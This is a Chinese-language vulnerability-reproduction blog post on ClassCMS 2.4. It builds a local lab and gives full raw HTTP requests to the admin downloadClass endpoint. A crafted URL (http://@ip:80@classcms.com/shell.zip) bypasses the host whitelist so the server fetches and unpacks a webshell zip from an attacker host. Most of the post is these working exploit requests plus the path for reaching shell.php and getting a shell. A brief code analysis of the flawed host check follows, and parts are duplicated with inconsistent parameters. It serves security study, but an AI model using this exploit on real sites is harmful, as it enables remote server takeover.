ClassCMS2.4漏洞复现_代码007(未授权)

本文介绍: 使用 phpstudy2016搭建 web 环境，php 版本为5.5安装CMS这里选择My sql 数据库进行安装用户名和密码都写默认的admin方便记忆输入完成后点击安装点击安装CMS的安装过程中有个报错忽略就好，登录不进后台的话刷新一下页面进入了Clas sCMS的后台。

使用phpstudy2016搭建 web环境，php版本为5.5
安装CMS
这里选择My sql 数据库进行安装

点击安装

POST /admin?do=shop:index&amp;ajax=1&amp;action=fileurl&amp;from=install HTTP/1.1

Host: 192.168.12.144

Content-Length: 47

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.12.144

Referer: http://192.168.12.144/admin?do=shop:index&amp;bread=%E8%B0%83%E8%AF%95%E5%BC%80%E5%85%B3&amp;action=detail&amp;classhash=debugswitch

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_9a9fe8=e0c7aacedb82db0c1522667cbf0bc806; csrf_9a9fe8=b472e230

Connection: close



classhash=debugswitch&amp;version=1.0&amp;csrf=b472e230

//第二个数据包



POST /admin666?do=shop:downloadClass&amp;ajax=1 HTTP/1.1

Host: classcms

Content-Length: 85

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.159.1

Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&amp;bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&amp;action=detail&amp;classhash=classcreate

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00

Connection: close



classhash={dir}&amp;url=http://@{ip}:{port}@classcms.com/{shell.zip}&amp;csrf=b472e230

classhash为解压出来的最后文件名



url为了绕过过滤设成如下形式



http://@ip:80@classcms.com/shell.zip

远程ip端口（默认80也需要加上），一个包含木马文件（shell.php）的zip压缩包



csrf参数不动即可



发送之后返回:下载完成



就说明已经成功被下载到目标服务器上并解压



最后访问url即可执行上传上的木马getshell



http://ip/class/{classhash的值}/{上传压缩包中的木马文件}

//第二个数据包



POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

Host: classcms

Content-Length: 85

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.159.1

Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=b472e230

Connection: close



classhash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=338ceb00

上传之前创建的shell.zip
classhash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=b472e230
直接修改数据包后放包也可以

访问http://192.168.12.144/class/shell/shell.php

一处为在downloadClass函数中一处在upgradeClass函数中，观察功能显然是在downloadClass中

在this(当前文件shop.php)->download函数下,定位到关键函数download

函数首先获取了默认允许的host，在this(前文件下)->defaultHost函数中
定位函数 defaultHost

只允许 classcms.com;classcms.uuu.la
然后将我们传入的url (这里是http://http://192.168.12.144/shell.zip) 通过parse_url 函数解析后在判断是否是在数组中
我们的攻击url也就是down在了这里，那么目标就是绕过这个判断然后执行接下来的curl 命令

if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {

Return false;

}

http://@http://192.168.12.144:80@classcms.com/shell.zip

显示所有内容

声明：本站所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。

cms 安装点击

CMS源码在附件中

环境 搭建

任意 文件 下载 漏洞 复现

漏洞成因

发表回复取消回复

CMS源码在附件中

漏洞成因

相关文章

发表回复 取消回复

发表回复取消回复